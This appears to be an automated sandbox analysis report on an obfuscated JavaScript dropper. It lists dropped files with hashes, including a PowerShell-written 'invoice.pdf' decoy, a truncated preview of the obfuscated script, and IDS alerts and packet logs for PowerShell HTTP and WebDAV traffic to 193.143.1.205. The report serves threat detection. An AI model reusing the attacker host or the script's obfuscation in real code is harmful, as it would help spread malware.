Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2a39dd72-af8a-4efb-b0b9-3d515a848e5f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07okZwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxkZwZG6GZn3mlind9i4ufFXpAXkru
MD5:	ACB1B27818CEB36D0750207A9585D1DE
SHA1:	6F8E0D68875083DD83681391CE1C8304D0CF8C29
SHA-256:	BAB1F04D2DB8ADF240CFE93D51DFDA5CABE1D1DA91DCC807D2ABD93E030926D6
SHA-512:	AFE11C5D4A50430BE73E2D82081C6C02DB93A8368999C9139863A5A2DD0780066E020A5D2FDC94612E808862C8FB0CF90CA92E7CEAAAFEB4C3EA59703229B4AA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\311077e2-fbc6-4d94-ab76-c729afa5ddc9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7a2452bc-2027-4171-ac8e-b51b0918d2be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8c1c4bde-5b50-4bc0-ac0e-84d8790059d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16275), with CRLF line terminators
Entropy (8bit):	4.892181153485889
TrID:
File name:	20512268371239412475.js
File size:	19'664 bytes
MD5:	a0313e57b97f439b52556994594ae57a
SHA1:	7143390f14ff711d1d98618d14584383abcb270e
SHA256:	e1c4cdfc9e6215272bd6040cb6eeb33e7b177b01ce3f086a1a3f9109fa49b5ef
SHA512:	162e2490ad42bd18478701c8449b2cd51ba249be5e8ed25a6380f44d112319784007eec682241191e540aefb9e2f64c21f24164f920be650253040ce13206d10
SSDEEP:	384:cyoOSf8kh/G716YmA04ZsjB88ItHLleVV:RohpjYU4Zsa8ItheVV
TLSH:	EC921347EC85EF3781F008E1569306B65FA50347EF64025DACA2E4D80A29BF0DAD71FA
File Content Preview:	function ipkbrjmlj(){hnbvw=[1031,3079,5127,4103,2055,3072];var kxbaj=this[wkggtrj+fkfvsmu+zvetvi+vqiiir+cjglvori+ontimfrfe+ppehiv+pqgrb](this[bbrapche+kixygdos+cguzrvlv+zvetvi+hrwvfhsqz+wkggtrj+pqgrb][jckeslz+zvetvi+cjglvori+fkfvsmu+pqgrb+cjglvori+phaodak

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:53:54.655288+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49705	193.143.1.205	80	TCP
2025-01-10T20:53:56.669926+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49721	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:53:53.827135086 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:53.832073927 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:53.832250118 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:53.835144043 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:53.840023994 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655033112 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655077934 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655113935 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655149937 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655185938 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655219078 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655287981 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.655287981 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.655287981 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.655457020 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655488968 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655524969 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655539989 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.655560017 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.655661106 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.660185099 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.660227060 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.660264015 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.660305977 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.700978041 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.701003075 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.701124907 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.775615931 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.775640011 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.775657892 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.775675058 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.775759935 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.775813103 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.775849104 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.775861979 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.775979996 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.775995970 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.776022911 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.776036024 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.776052952 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.776058912 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.776068926 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.776082993 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.776869059 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.776884079 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.776900053 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.776926041 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.776947975 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.777299881 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777314901 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777337074 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777352095 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777358055 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.777384996 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.777935028 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777950048 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777966022 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777981997 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.777997017 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.777998924 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.778033972 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.840890884 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.840908051 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.840923071 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.841031075 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.867858887 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.867876053 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.867913008 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.896368980 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896440029 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896444082 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.896498919 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896548986 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896579981 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.896584988 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896620989 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896647930 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.896655083 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896687984 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896723032 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896723986 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.896758080 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.896764994 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.897232056 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897267103 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897284985 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.897300005 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897334099 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897367954 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897382021 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.897428989 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.897780895 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897814989 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897857904 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897892952 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.897892952 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897927999 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897933960 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.897960901 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.897994995 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898005009 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.898031950 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898081064 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.898610115 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898660898 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898695946 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898729086 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898741007 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.898761988 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898766041 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.898794889 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898828983 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.898839951 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.898864031 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899151087 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.899538994 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899588108 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899622917 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899636030 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.899656057 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899691105 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899698973 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.899724960 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899759054 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.899802923 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.908909082 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.908945084 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.908973932 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.908981085 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.909024954 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.933305979 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.933368921 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.933407068 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.933438063 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.933442116 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.933479071 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.933506012 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.960046053 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.960086107 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.960099936 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.960143089 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.960177898 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.960207939 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.960211992 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.960391045 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:54.995400906 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.995417118 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:54.995498896 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.017379999 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017394066 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017433882 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.017510891 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017523050 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017550945 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.017582893 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017596960 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017613888 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017637014 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017642021 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.017652988 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.017672062 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018069983 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018081903 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018121004 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018202066 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018217087 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018233061 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018249035 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018249989 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018265963 CET	80	49705	193.143.1.205	192.168.2.7
